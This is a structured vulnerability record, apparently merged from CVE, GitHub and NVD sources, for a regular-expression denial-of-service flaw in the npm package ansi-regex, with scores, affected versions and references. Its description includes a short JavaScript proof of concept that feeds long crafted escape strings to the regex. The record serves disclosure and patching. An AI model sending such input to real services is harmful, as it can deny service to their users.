{"id":"CVE-2021-3807","aliases":["CVE-2021-3807","GHSA-93q8-gq69-wqmw"],"related":[],"kind":"vulnerability","state":"published","title":"Inefficient Regular Expression Complexity in chalk/ansi-regex","summary":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity","source":"cvelist"},{"lang":"en","text":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`","format":"markdown","source":"ghsa"},{"lang":"es","text":"ansi-regex es vulnerable a una Complejidad de Expresiones Regulares Ineficientes","source":"nvd"}],"published":"2021-09-17T00:00:00.000Z","modified":"2026-10-08T22:17:11.557Z","severity":{"scorer":"@huntrdev","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"@huntrdev","scheme":"CVSS:3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:N/A:C","score":7.8,"rating":"HIGH"}],"cwes":["CWE-697","CWE-1333"],"affected":[{"ranges":[{"type":"custom","introduced":"unspecified","fixed":"6.0.1","status":"affected"},{"type":"custom","introduced":"unspecified","fixed":"5.0.1","status":"affected"},{"version":"5.0.1","status":"unaffected"}],"vendor":"chalk","product":"chalk/ansi-regex","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"6.0.0","status":"affected","fixed":"6.0.1"}],"ecosystem":"npm","package":"ansi-regex","purl":"pkg:npm/ansi-regex","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"5.0.0","status":"affected","fixed":"5.0.1"}],"ecosystem":"npm","package":"ansi-regex","purl":"pkg:npm/ansi-regex","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.1.1"}],"ecosystem":"npm","package":"ansi-regex","purl":"pkg:npm/ansi-regex","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.0.1"}],"ecosystem":"npm","package":"ansi-regex","purl":"pkg:npm/ansi-regex","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"4.0.0","fixed":"4.1.1"},{"status":"affected","version":"3.0.0"},{"status":"affected","version":"5.0.0"},{"status":"affected","version":"6.0.0"}],"vendor":"ansi-regex_project","product":"ansi-regex","cpe":"cpe:2.3:a:ansi-regex_project:ansi-regex:*:*:*:*:*:node.js:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"1.15.0"}],"vendor":"oracle","product":"communications_cloud_native_core_policy","cpe":"cpe:2.3:a:oracle:communications_cloud_native_core_policy:1.15.0:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994","tags":["exploit","issue-tracking","patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9","tags":["patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.oracle.com/security-alerts/cpuapr2022.html","tags":["patch","third-party-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.netapp.com/advisory/ntap-20221014-0002/","tags":["third-party-advisory","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3807","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8","tags":["web"],"sources":["ghsa"]},{"url":"https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/chalk/ansi-regex/releases/tag/v6.0.1","tags":["web"],"sources":["ghsa"]},{"url":"https://security.netapp.com/advisory/ntap-20221014-0002","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"@huntrdev","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-10-08T21:13:38.294Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-3807","url":"https://www.cve.org/CVERecord?id=CVE-2021-3807","licence":"CVE Terms of Use","modified":"2026-10-08T21:14:08.869Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-93q8-gq69-wqmw","url":"https://github.com/advisories/GHSA-93q8-gq69-wqmw","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:08.570Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-3807","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3807","licence":"Public domain","modified":"2026-10-08T22:17:11.557Z"}],"updatedAt":"2026-11-25T22:58:04.026Z","epss":{"score":0.03552,"percentile":0.8961,"date":"2026-12-01T12:00:22.000Z"}}